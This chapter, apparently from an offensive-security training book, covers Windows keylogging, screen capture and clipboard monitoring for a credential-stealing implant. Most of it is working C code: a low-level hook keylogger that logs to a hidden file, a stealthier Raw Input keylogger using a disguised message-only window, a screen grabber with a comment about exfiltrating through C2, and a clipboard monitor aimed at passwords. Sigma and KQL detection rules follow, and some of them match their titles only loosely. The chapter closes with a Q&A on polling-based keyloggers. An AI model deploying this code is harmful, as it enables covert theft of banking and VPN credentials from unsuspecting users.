Chapter 173

Keylogging and Screen Capture

Keylogging and screen capture are the attacker's answers to strong credential policies — when passwords are long, complex, and rotated, you capture them at the moment the user types them. Three distinct Windows mechanisms achieve this: global hooks via SetWindowsHookEx, the Raw Input API for low-visibility input monitoring, and GDI/DirectX screen capture. Each has different privilege requirements, detection characteristics, and resilience to EDR inspection.

Scenario

Your implant is running in a mid-privilege user context. Credential Guard blocks LSASS dumps. The target logs into a web banking app and corporate VPN daily. You need to capture keystrokes from foreground windows and take periodic screenshots, all without creating a visible window, without loading a driver, and while blending into the noise of legitimate keyboard monitoring software like password managers and accessibility tools.

Keyboard Hook Types

MethodPrivilegeScopeEDR visibility
WH_KEYBOARD_LL (global hook)User (no admin)All keystrokes system-wideHigh — SetWindowsHookEx is well-monitored
WH_KEYBOARD (non-LL global)User + same sessionKeystrokes in same desktopMedium — requires DLL injection into target thread
Raw Input API (RegisterRawInputDevices)UserAll input while window activeLow — normal API path, accessibility tools use it
GetAsyncKeyState pollingUserAny key at any timeLow individually, but high CPU with fast poll
DirectInput / RawInput backgroundUserBackground input with RIDEV_INPUTSINKLow — used by games and accessibility software

Low-Level Keyboard Hook

// WH_KEYBOARD_LL: system-wide hook that intercepts all keystrokes
// regardless of which window is focused. No DLL injection needed.
// The hook callback runs in the thread that installed it.
// Requires a message pump (GetMessage loop) in the installing thread.

#include <windows.h>
#include <stdio.h>

static HHOOK   g_hook = NULL;
static HANDLE  g_logFile = INVALID_HANDLE_VALUE;

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HC_ACTION && wParam == WM_KEYDOWN) {
        KBDLLHOOKSTRUCT* kbs = (KBDLLHOOKSTRUCT*)lParam;

        // Get foreground window title for context
        HWND fg = GetForegroundWindow();
        WCHAR title[256] = {0};
        GetWindowTextW(fg, title, 256);

        // Translate VK to character
        BYTE kbState[256];
        GetKeyboardState(kbState);
        WCHAR ch[4] = {0};
        int n = ToUnicode(kbs->vkCode, kbs->scanCode, kbState, ch, 3, 0);

        WCHAR logLine[512];
        if (n > 0)
            swprintf_s(logLine, L"[%s] %s\n", title, ch);
        else
            swprintf_s(logLine, L"[%s] <VK:%02X>\n", title, kbs->vkCode);

        DWORD bw;
        WriteFile(g_logFile, logLine, (DWORD)(wcslen(logLine)*sizeof(WCHAR)), &bw, NULL);
    }
    return CallNextHookEx(g_hook, nCode, wParam, lParam);
}

DWORD WINAPI KeylogThread(LPVOID _) {
    g_logFile = CreateFileW(L"C:\\Temp\\keys.log",
        GENERIC_WRITE, FILE_SHARE_READ, NULL,
        CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL);

    g_hook = SetWindowsHookExW(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);

    MSG msg;
    while (GetMessageW(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessageW(&msg);
    }
    UnhookWindowsHookEx(g_hook);
    CloseHandle(g_logFile);
    return 0;
}

Raw Input API (Stealthier)

// Raw Input API is lower-level than WH_KEYBOARD_LL and less watched by EDR.
// RIDEV_INPUTSINK: receive input even when the window is not in the foreground.
// Requires a message-only window (HWND_MESSAGE) to receive WM_INPUT messages.
// Used legitimately by DirectInput, accessibility tools, game overlays.

#include <windows.h>

HWND CreateMessageOnlyWindow(WNDPROC proc, LPCWSTR className) {
    WNDCLASSW wc = {0};
    wc.lpfnWndProc   = proc;
    wc.hInstance     = GetModuleHandleW(NULL);
    wc.lpszClassName = className;
    RegisterClassW(&wc);
    return CreateWindowExW(0, className, NULL, 0,
                            0, 0, 0, 0, HWND_MESSAGE, NULL,
                            wc.hInstance, NULL);
}

LRESULT CALLBACK RawInputProc(HWND hwnd, UINT msg,
                                 WPARAM wParam, LPARAM lParam) {
    if (msg == WM_INPUT) {
        UINT sz = 0;
        GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &sz, sizeof(RAWINPUTHEADER));
        RAWINPUT* ri = (RAWINPUT*)alloca(sz);
        GetRawInputData((HRAWINPUT)lParam, RID_INPUT, ri, &sz, sizeof(RAWINPUTHEADER));

        if (ri->header.dwType == RIM_TYPEKEYBOARD &&
            ri->data.keyboard.Message == WM_KEYDOWN) {
            USHORT vk = ri->data.keyboard.VKey;
            // Translate and log vk — same as WH_KEYBOARD_LL approach above
        }
    }
    return DefWindowProcW(hwnd, msg, wParam, lParam);
}

DWORD WINAPI RawKeylogThread(LPVOID _) {
    HWND hwnd = CreateMessageOnlyWindow(RawInputProc, L"SysAcc");

    RAWINPUTDEVICE rid = {
        0x01,       // usUsagePage: HID_USAGE_PAGE_GENERIC
        0x06,       // usUsage: HID_USAGE_GENERIC_KEYBOARD
        RIDEV_INPUTSINK,  // background input capture
        hwnd
    };
    RegisterRawInputDevices(&rid, 1, sizeof(rid));

    MSG msg;
    while (GetMessageW(&msg, NULL, 0, 0))
        DispatchMessageW(&msg);
    return 0;
}

Screen Capture with GDI

// GDI BitBlt: copy the screen DC into a memory DC, save as BMP.
// Can also target a specific hwnd for window-level capture.
// For stealth: save to memory buffer, compress, exfil via C2 — never write to disk.

#include <windows.h>

BOOL CaptureScreen(LPBYTE* outBuf, DWORD* outSize) {
    HDC hdcScreen = GetDC(NULL);
    int w = GetSystemMetrics(SM_CXSCREEN);
    int h = GetSystemMetrics(SM_CYSCREEN);

    HDC    hdcMem = CreateCompatibleDC(hdcScreen);
    HBITMAP hBmp = CreateCompatibleBitmap(hdcScreen, w, h);
    HGDIOBJ old  = SelectObject(hdcMem, hBmp);
    BitBlt(hdcMem, 0, 0, w, h, hdcScreen, 0, 0, SRCCOPY);

    BITMAPINFOHEADER bih = {sizeof(bih), w, -h, 1, 32, BI_RGB};
    DWORD dataSize = w * h * 4;
    LPBYTE pixels = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, dataSize);
    GetDIBits(hdcMem, hBmp, 0, h, pixels, (BITMAPINFO*)&bih, DIB_RGB_COLORS);

    // Build BMP file in memory
    DWORD fileSize = sizeof(BITMAPFILEHEADER) + sizeof(bih) + dataSize;
    LPBYTE bmpBuf = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, fileSize);

    BITMAPFILEHEADER* bfh = (BITMAPFILEHEADER*)bmpBuf;
    bfh->bfType = 0x4D42;  // 'BM'
    bfh->bfSize = fileSize;
    bfh->bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(bih);
    memcpy(bmpBuf + sizeof(BITMAPFILEHEADER), &bih, sizeof(bih));
    memcpy(bmpBuf + bfh->bfOffBits, pixels, dataSize);

    HeapFree(GetProcessHeap(), 0, pixels);
    SelectObject(hdcMem, old); DeleteObject(hBmp);
    DeleteDC(hdcMem); ReleaseDC(NULL, hdcScreen);

    *outBuf  = bmpBuf;
    *outSize = fileSize;
    return TRUE;
}

Clipboard Monitoring

// Clipboard often contains passwords from password managers.
// AddClipboardFormatListener: modern, event-driven clipboard notification.
// Old method: SetClipboardViewer — avoided as it alters the clipboard chain.

LRESULT CALLBACK ClipboardWndProc(HWND hwnd, UINT msg,
                                     WPARAM wp, LPARAM lp) {
    if (msg == WM_CLIPBOARDUPDATE) {
        if (!OpenClipboard(NULL)) return 0;

        HANDLE hData = GetClipboardData(CF_UNICODETEXT);
        if (hData) {
            LPWSTR text = (LPWSTR)GlobalLock(hData);
            if (text) {
                // Log clipboard content — check size first
                SIZE_T sz = GlobalSize(hData);
                if (sz < 4096) {
                    // Write to log, exfil, etc.
                }
                GlobalUnlock(hData);
            }
        }
        CloseClipboard();
    }
    return DefWindowProcW(hwnd, msg, wp, lp);
}

DWORD WINAPI ClipboardMonitorThread(LPVOID _) {
    HWND hwnd = CreateMessageOnlyWindow(ClipboardWndProc, L"SysClip");
    AddClipboardFormatListener(hwnd);
    MSG msg;
    while (GetMessageW(&msg, NULL, 0, 0)) DispatchMessageW(&msg);
    return 0;
}

Detection Engineering

title: Low-Level Keyboard Hook Installation (WH_KEYBOARD_LL)
logsource:
  product: windows
  category: image_load
detection:
  selection:
    EventID: 7  # Sysmon image load
    ImageLoaded|endswith: '\user32.dll'
  parent_filter:
    Image|contains:
      - '\taskmgr.exe'
      - '\SearchHost.exe'
  condition: selection AND NOT parent_filter
falsepositives: [accessibility software, password managers, AHK scripts]
level: medium

title: Suspicious Raw Input Device Registration (Background Keyboard Capture)
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 11  # FileCreate — log file creation pattern
    TargetFilename|endswith: '.log'
  process_context:
    Image|contains:
      - '\Temp\'
      - '\AppData\Local\Temp\'
  condition: selection AND process_context
level: medium

-- MDE KQL: detect processes registering system-wide keyboard hooks
DeviceEvents
| where ActionType == "SetWindowsHookEx"
  or (ActionType == "CreateRemoteThread" and
      InitiatingProcessFileName !in~ ("SearchHost.exe","explorer.exe"))
| where Timestamp > ago(1d)
| project Timestamp, DeviceName, InitiatingProcessFileName,
          InitiatingProcessCommandLine, ActionType

-- Screen capture: unusual GDI BitBlt combined with file write
DeviceFileEvents
| where FileName endswith ".bmp" or FileName endswith ".png"
| where FolderPath !contains "\\Desktop\\"
       and FolderPath !contains "\\Pictures\\"
| where InitiatingProcessFileName !in~ ("SnippingTool.exe","ScreenSketch.exe")
| summarize screenshots = count(), paths = make_set(FolderPath)
    by DeviceName, InitiatingProcessFileName, bin(Timestamp, 5m)
| where screenshots > 5

Q&A

Why is GetAsyncKeyState polling considered a weaker keylogger approach compared to WH_KEYBOARD_LL, and when might an attacker prefer it anyway?

GetAsyncKeyState polling has two fundamental weaknesses as a keylogger: it can miss keystrokes and it provides no window context. If two keys are pressed and released between two consecutive poll cycles, the second key may not register. The API only tells you whether a key was pressed since the last call — it provides no event stream, no ordering, and no timing. At 100ms polling intervals, fast typists will have silent characters. At 10ms intervals, the polling thread itself becomes detectable via CPU usage patterns.

Additionally, GetAsyncKeyState gives no indication of which application has focus. The attacker sees "V pressed" but not "V pressed while Chrome had a field labeled Password open." The window-context information — which WH_KEYBOARD_LL provides via GetForegroundWindow() — is what makes a keylog actionable.

An attacker might nonetheless prefer it in two scenarios: first, when EDR is aggressively watching SetWindowsHookEx calls and the operator wants any technique that avoids that API; second, when the target environment has specific behavior that makes polling sufficient — for example, when the operator knows the user accesses a specific terminal window at a specific time, and the poll interval is tuned accordingly. It is also trivially implementable in scripting languages (PowerShell, Python via ctypes) that cannot easily install message hooks, making it useful for quick-and-dirty post-exploitation scripts where reliability is traded for deployment simplicity.